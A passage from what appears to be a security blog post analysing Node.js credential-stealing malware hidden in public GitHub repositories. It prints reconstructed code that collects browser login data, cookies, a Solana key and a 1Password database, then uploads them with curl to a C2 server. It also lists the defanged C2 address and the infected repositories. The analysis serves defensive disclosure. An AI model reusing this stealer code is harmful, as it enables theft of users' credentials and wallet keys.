<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">collectedFiles</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// **Main Execution**</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">(</span><span style="color: #569CD6">async</span><span style="color: #D4D4D4"> () </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Mark the start time</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">startTime</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">Date</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">now</span><span style="color: #D4D4D4">();</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Collect data from browsers and other sources, depending on the OS</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Google Chrome</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">await</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">collectBrowserData</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">baseDirWindows</span><span style="color: #569CD6">}</span><span style="color: #D7BA7D">\\</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">chromeWinDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">chromeMacDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">chromeLinuxDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">&#93;, </span><span style="color: #CE9178">&quot;3_&quot;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Brave Browser</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">await</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">collectBrowserData</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">baseDirWindows</span><span style="color: #569CD6">}</span><span style="color: #D7BA7D">\\</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">braveWinDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">braveMacDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">braveLinuxDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">&#93;, </span><span style="color: #CE9178">&quot;brave_&quot;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Opera Browser (Opera Stable)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">await</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">collectBrowserData</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #CE9178">`Roaming</span><span style="color: #D7BA7D">\\</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">operaWinDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">operaMacDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">, </span><span style="color: #6A9955">/* no explicit Linux path for Opera in this code */</span><span style="color: #D4D4D4">&#93;, </span><span style="color: #CE9178">&quot;opera_&quot;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Mozilla Firefox</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">await</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">collectBrowserData</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">baseDirWindows</span><span style="color: #569CD6">}</span><span style="color: #D7BA7D">\\</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">firefoxWinDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">baseDirMac</span><span style="color: #569CD6">}</span><span style="color: #CE9178">/</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">firefoxMacDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">firefoxLinuxDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">&#93;, </span><span style="color: #CE9178">&quot;firefox_&quot;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Additional data collection for other software:</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// - System Keychains (macOS) or Windows Credential Vaults could be targeted.</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// - 1Password vaults on macOS.</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// - Cryptocurrency wallet credentials (the code references &quot;solana_id.txt&quot; for Solana).</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// - Possibly other saved credentials in local files.</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Example: Collect Solana CLI key (if exists)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">solanaKeyPath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">homeDir</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;.config/solana/id.txt&quot;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">solanaKeyPath</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">solanaKeyData</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">readFile</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">solanaKeyPath</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">sendData</span><span style="color: #D4D4D4">(&#91;{ </span><span style="color: #9CDCFE">filename:</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;solana_id.txt&quot;</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">content:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">solanaKeyData</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">toString</span><span style="color: #D4D4D4">() }&#93;);</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Example: Collect 1Password database (if exists on Mac)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">platform</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">startsWith</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;darwin&#39;</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// 1Password 7 on macOS stores data under ~/Library/Application Support/1Password</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">onePasswordPath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">homeDir</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;Library/Application Support/1Password&quot;</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;Data&quot;</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;OnePassword.sqlite&quot;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">onePasswordPath</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">onePasswordDB</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">readFile</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">onePasswordPath</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #DCDCAA">sendData</span><span style="color: #D4D4D4">(&#91;{ </span><span style="color: #9CDCFE">filename:</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;OnePassword.sqlite&quot;</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">content:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">onePasswordDB</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">toString</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;base64&#39;</span><span style="color: #D4D4D4">) }&#93;);</span></span>
<span class="line"><span style="color: #D4D4D4">            }</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Handle any errors silently to avoid crashing</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// **Exfiltration Packaging and Sending**</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// The malware writes all collected data to a local file (archive) and periodically uploads it.</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">archivePath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">tempDir</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;pld_data.zip&quot;</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// e.g., temp directory file for payload</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">MAX_ARCHIVE_SIZE</span><span style="color: #D4D4D4"> = </span><span style="color: #B5CEA8">0x5000000</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// ~80 MB threshold (hex value 0x4FA0000 in obfuscated code)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">lastSize</span><span style="color: #D4D4D4"> = </span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">checkAndSendArchive</span><span style="color: #D4D4D4">() {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (!</span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">archivePath</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// If archive doesn&#39;t exist, create it by zipping collected data</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">output</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">createWriteStream</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">archivePath</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// In the obfuscated code, they used `curl` directly to upload instead of zipping via code.</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// Here, you would normally zip the files. The malware instead uses an OS command to send.</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// For clarity, assume data was already written to archivePath.</span></span>
<span class="line"><span style="color: #D4D4D4">        } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">stats</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">statSync</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">archivePath</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">stats</span><span style="color: #D4D4D4">.</span><span style="color: #9CDCFE">size</span><span style="color: #D4D4D4"> &gt;= </span><span style="color: #4FC1FF">MAX_ARCHIVE_SIZE</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #6A9955">// If archive file exceeds threshold, send it</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #DCDCAA">exec</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">`curl -T &quot;</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">archivePath</span><span style="color: #569CD6">}</span><span style="color: #CE9178">&quot; </span><span style="color: #569CD6">${</span><span style="color: #4FC1FF">SERVER_URL</span><span style="color: #569CD6">}${</span><span style="color: #4FC1FF">ENDPOINT_PATH</span><span style="color: #569CD6">}</span><span style="color: #CE9178"> `</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">stdout</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">stderr</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #6A9955">// Once uploaded, delete the local archive</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> { </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">unlinkSync</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">archivePath</span><span style="color: #D4D4D4">); } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> {}</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #9CDCFE">lastSize</span><span style="color: #D4D4D4"> = </span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">                });</span></span>
<span class="line"><span style="color: #D4D4D4">            } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">lastSize</span><span style="color: #D4D4D4"> &gt;= </span><span style="color: #9CDCFE">stats</span><span style="color: #D4D4D4">.</span><span style="color: #9CDCFE">size</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #6A9955">// If file size hasn&#39;t increased since last check, assume done writing and send</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #DCDCAA">exec</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">`curl -T &quot;</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">archivePath</span><span style="color: #569CD6">}</span><span style="color: #CE9178">&quot; &quot;</span><span style="color: #569CD6">${</span><span style="color: #4FC1FF">SERVER_URL</span><span style="color: #569CD6">}${</span><span style="color: #4FC1FF">ENDPOINT_PATH</span><span style="color: #569CD6">}</span><span style="color: #CE9178">&quot;`</span><span style="color: #D4D4D4">, () </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                        </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> { </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">unlinkSync</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">archivePath</span><span style="color: #D4D4D4">); } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> {}</span></span>
<span class="line"><span style="color: #D4D4D4">                    });</span></span>
<span class="line"><span style="color: #D4D4D4">                } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #6A9955">// If archive is still growing, update lastSize and check again later</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #9CDCFE">lastSize</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">stats</span><span style="color: #D4D4D4">.</span><span style="color: #9CDCFE">size</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #DCDCAA">setTimeout</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">checkAndSendArchive</span><span style="color: #D4D4D4">, </span><span style="color: #B5CEA8">1000</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// re-check after some time</span></span>
<span class="line"><span style="color: #D4D4D4">                }</span></span>
<span class="line"><span style="color: #D4D4D4">            }</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Start periodic check for sending archive</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #DCDCAA">checkAndSendArchive</span><span style="color: #D4D4D4">();</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Also, if on Windows, the malware attempts to gather additional credentials (like keychain equivalent or other app data).</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// If on Mac/Linux, it may also target local keychains or default browser profiles.</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// These are handled in the above blocks or similar logic elsewhere in the code.</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">})();</span></span>
<span class="line"></span></code></pre></div>



<p class="wp-block-paragraph">This JavaScript code is part of a malware program designed to steal sensitive data from an infected system and exfiltrate it to a command-and-control (C2) server. It runs in a Node.js environment, targets major web browsers and password managers (like 1Password and Solana CLI keys), and silently uploads data such as saved passwords, cookies, browsing history, and application databases to a remote server. It includes OS-aware behavior and handles cross-platform targets (Windows, macOS, Linux).</p>



<p class="wp-block-paragraph"><strong>Environment Setup &amp; Dependencies</strong></p>



<ul class="wp-block-list">
<li>Loads built-in Node.js modules like <code>fs</code>, <code>os</code>, <code>path</code>, and <code>child_process</code>.</li>



<li>Uses the third-party <code>request</code> module for HTTP POST.</li>



<li>Gathers system-level info: home directory, OS type, hostname, current username.</li>
</ul>



<p class="wp-block-paragraph"><strong>Command and Control (C2) Setup</strong></p>



<ul class="wp-block-list">
<li>Targets a hardcoded C2 server: <code><strong>http://147[.]124[.]212[.]125:1244/client</strong></code>.</li>



<li>Assigns a <code>type</code> identifier (<code>ugDtMe1</code>) for payload classification.</li>



<li>Creates a unique host ID (includes username on macOS) for tracking infected machines.</li>
</ul>



<p class="wp-block-paragraph"><strong>File and Directory Utilities</strong></p>



<ul class="wp-block-list">
<li>Handles tilde (<code>~</code>) path expansion.</li>



<li>Checks file/directory existence.</li>



<li>Copies entire directories (e.g., browser profiles).</li>



<li>Reads files via stream or sync method.</li>
</ul>



<p class="wp-block-paragraph"><strong>Browser Data Collection</strong></p>



<ul class="wp-block-list">
<li>Targets major browsers: Chrome, Brave, Firefox, Opera.</li>



<li>Locates browser profiles for each OS (Windows/macOS/Linux).</li>



<li>Extracts files like:
<ul class="wp-block-list">
<li>Login Data (passwords, encrypted DB)</li>



<li>Cookies</li>



<li>History</li>



<li>Bookmarks</li>



<li>Preferences</li>



<li>Firefox-specific: <code>logins.json</code>, <code>key4.db</code>, <code>key3.db</code></li>
</ul>
</li>



<li>Temporarily copies profile directories to evade file locks.</li>



<li>Sends stolen files to the C2 server immediately.</li>
</ul>



<p class="wp-block-paragraph"><strong>Password Manager &amp; Wallet Targeting</strong></p>



<ul class="wp-block-list">
<li>Looks for:
<ul class="wp-block-list">
<li>Solana CLI private key (<code>~/.config/solana/id.txt</code>)</li>



<li>1Password database (<code>OnePassword.sqlite</code> on macOS)</li>
</ul>
</li>



<li>Reads and uploads these files (Base64-encoded if needed).</li>
</ul>



<p class="wp-block-paragraph"><strong>Exfiltration Handling</strong></p>



<ul class="wp-block-list">
<li>Writes all stolen data to an archive (<code>pld_data.zip</code>) in the temp directory.</li>



<li>Periodically checks size of this archive:
<ul class="wp-block-list">
<li>If large enough or done writing, uploads via <code>curl</code>.</li>



<li>Deletes archive after sending to avoid detection.</li>
</ul>
</li>
</ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="888" height="500" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-29.png" alt="" class="wp-image-196" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-29.png 888w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-29-300x169.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-29-768x432.png 768w" sizes="auto, (max-width: 888px) 100vw, 888px" /></figure>



<h3 id="wp-block-themeisle-blocks-advanced-heading-0f7d00ff" class="wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-0f7d00ff"><strong>The serious part now&#8230;</strong></h3>



<p class="wp-block-paragraph">This script is not just a prank or a script kiddie trying to proove himself, it&#8217;s a real-world infection pipeline designed with intent and precision. It establishes a complete command-and-control (<strong>C2</strong>) infrastructure, performs host fingerprinting, and executes remote payloads via silent dependency installation and execution. By leveraging trusted system modules (<code><strong>fs</strong></code>, <code><strong>os</strong></code>, <code><strong>child_process</strong></code>) and blending into common developer directories (like <code><strong>~/.vscode</strong></code>), it avoids detection and raises minimal suspicion. The script downloads a second-stage payload from a remote server and ensures it runs in a prepared Node.js environment. Its ability to retry connections, exfiltrate host data, and dynamically pull in dependencies makes this an active threat, not a proof of concept.</p>



<p class="wp-block-paragraph">Given its presence in a public GitHub repo, any unsuspecting developer who cloned or forked this project could infect their system or worse, ship malware downstream to users.</p>



<p class="wp-block-paragraph">That said, interestringly there was a public fork from GitHub user <a href="https://github.com/david30907d" target="_blank" rel="noreferrer noopener">david30907d</a></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="202" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-1-1024x202.png" alt="" class="wp-image-155" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-1-1024x202.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-1-300x59.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-1-768x151.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-1.png 1148w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">The first <a href="https://github.com/david30907d/crypto-social-platform/commit/901180bdaf30a197fcf73fdd7d8dc41136b049e4" target="_blank" rel="noreferrer noopener">commit</a> on that forked repo was the disinfection of it by removing the backdoor.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="724" height="69" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-3.png" alt="" class="wp-image-157" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-3.png 724w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-3-300x29.png 300w" sizes="auto, (max-width: 724px) 100vw, 724px" /></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="756" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-2-1024x756.png" alt="" class="wp-image-156" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-2-1024x756.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-2-300x221.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-2-768x567.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-2-1536x1134.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-2.png 1665w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Also, the following repositories were found infected with the same or similar type of malware:</p>



<ul class="wp-block-list">
<li><a href="https://github.com/astrabytesynchub/crypto-social-platform" target="_blank" rel="noreferrer noopener">https://github.com/astrabytesynchub/crypto-social-platform</a> (<a href="https://github.com/astrabytesynchub/crypto-social-platform/blob/55e3cdff58070b8a9b239ef3dff8f69ce7087deb/socket/index.js" target="_blank" rel="noreferrer noopener">infected file</a>)
<ul class="wp-block-list">
<li>Infected forks of this repository:
<ul class="wp-block-list">
<li><a href="https://github.com/david30907d/crypto-social-platform" target="_blank" rel="noreferrer noopener">https://github.com/david30907d/crypto-social-platform</a></li>



<li><a href="https://github.com/Ri2k18/crypto-social-platform" target="_blank" rel="noreferrer noopener">https://github.com/Ri2k18/crypto-social-platform</a></li>



<li><a href="https://github.com/RoSciPer/crypto-social-platform" target="_blank" rel="noreferrer noopener">https://github.com/RoSciPer/crypto-social-platform</a></li>



<li><a href="https://github.com/UbuntuEvangelist/crypto-social-platform" target="_blank" rel="noreferrer noopener">https://github.com/UbuntuEvangelist/crypto-social-platform</a></li>
</ul>
</li>
</ul>
</li>



<li><a href="https://github.com/AstraByteSyncOrg/uomo-ecommerce" target="_blank" rel="noreferrer noopener">https://github.com/AstraByteSyncOrg/uomo-ecommerce</a> (<a href="https://github.com/AstraByteSyncOrg/uomo-ecommerce/blob/master/tailwind.config.js" target="_blank" rel="noreferrer noopener">infected file</a>)</li>



<li><a href="https://github.com/astrabytesynchub/Ownix-Property-Real-Estate-MPV" target="_blank" rel="noreferrer noopener">https://github.com/astrabytesynchub/Ownix-Property-Real-Estate-MPV</a> (<a href="https://github.com/astrabytesynchub/Ownix-Property-Real-Estate-MPV/blob/main/next.config.js" target="_blank" rel="noreferrer noopener">infected file</a>)</li>



<li><a href="https://github.com/AstraByteSyncOrg/crypto-oasis/blob/master/socket/index.js" target="_blank" rel="noreferrer noopener">https://github.com/AstraByteSyncOrg/crypto-oasis</a> (<a href="https://github.com/AstraByteSyncOrg/crypto-oasis/blob/master/socket/index.js" target="_blank" rel="noreferrer noopener">infected file</a>)</li>



<li><a href="https://github.com/mojaray2k/genetiq-test-feat-dt/tree/b0543f9e043c6c381f5c0ffef9d4b914693c2062" target="_blank" rel="noreferrer noopener">https://github.com/mojaray2k/genetiq-test-feat-dt/tree/b0543f9e043c6c381f5c0ffef9d4b914693c2062</a> (<a href="https://github.com/mojaray2k/genetiq-test-feat-dt/blob/b0543f9e043c6c381f5c0ffef9d4b914693c2062/server/routes/auth.js#L110" target="_blank" rel="noreferrer noopener">infected file</a>)</li>



<li><a href="https://github.com/org-game/mvp-1.2" target="_blank" rel="noreferrer noopener">https://github.com/org-game/mvp-1.2</a> (<a href="https://github.com/org-game/mvp-1.2/blob/master/socket/index.js" target="_blank" rel="noreferrer noopener">infected file</a>)
<ul class="wp-block-list">
<li>Infected forks of this repository:
<ul class="wp-block-list">
<li><a href="https://github.com/Ziad-Belal/mvp-1.2" target="_blank" rel="noreferrer noopener">https://github.com/Ziad-Belal/mvp-1.2</a></li>



